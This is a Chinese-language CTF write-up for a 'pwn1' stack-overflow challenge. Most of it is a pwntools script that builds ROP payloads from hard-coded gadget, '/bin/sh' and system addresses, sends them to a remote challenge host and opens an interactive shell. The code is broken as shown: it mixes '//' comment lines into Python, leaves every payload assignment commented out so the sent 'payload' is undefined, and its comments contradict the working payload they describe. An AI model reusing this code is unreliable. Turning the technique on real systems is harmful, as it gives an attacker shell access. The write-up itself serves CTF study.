IDA中SHIFT+F12:
漏洞点+后门已获得,开启乱杀之路:
from pwn import *
context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'
# io = process('./pwn1')
io = remote('redirect.do-not-trust.hacking.run', 10368)
elf = ELF('./pwn1')
// 由于该题目没有清除缓冲区,导致recv接收不到回显
# io.recv()
system_addr = elf.symbols['system']
// ROPgadget --binary pwn1 --string '/bin/sh'
bin_sh_addr = 0x0000000000401186
// ROPgadget --binary pwn1 --only 'pop|ret'
pop_rdi_addr = 0x00000000004011fb
ret_addr = 0x0000000000401198
The MOVAPS issue-Pwn-看雪论坛(https://bbs.pediy.com/thread-269597-1.htm)
// 第一个payload利用ret来堆栈平衡
# payload = 'a' * (0x0f+0x08) + p64(ret_addr) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
// 前两个payload利用64位程序函数调用参数规则构造
// 寄存器调用顺序:rdi、rsi、rdx、rcx、r8、r9
// 先利用pop+ret将bin_sh_addr地址弹到rdi寄存器中去,再调用system函数来执行
# payload = 'a' * (0x0f+0x08) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
// ret堆栈平衡,直接返回bin_sh_addr处也可以获得系统权限。
# payload = 'a' * (0x0f+0x08) + p64(ret_addr) + p64(bin_sh_addr)
// 仅第三个payload打通本地和远程,暂时没发现前两个payload的问题。
io.sendline(payload)
io.interactive()
此题目利用pwndbg能更加深入理解栈空间:
留下一个思考问题:两个红色箭头与栈空间有什么联系?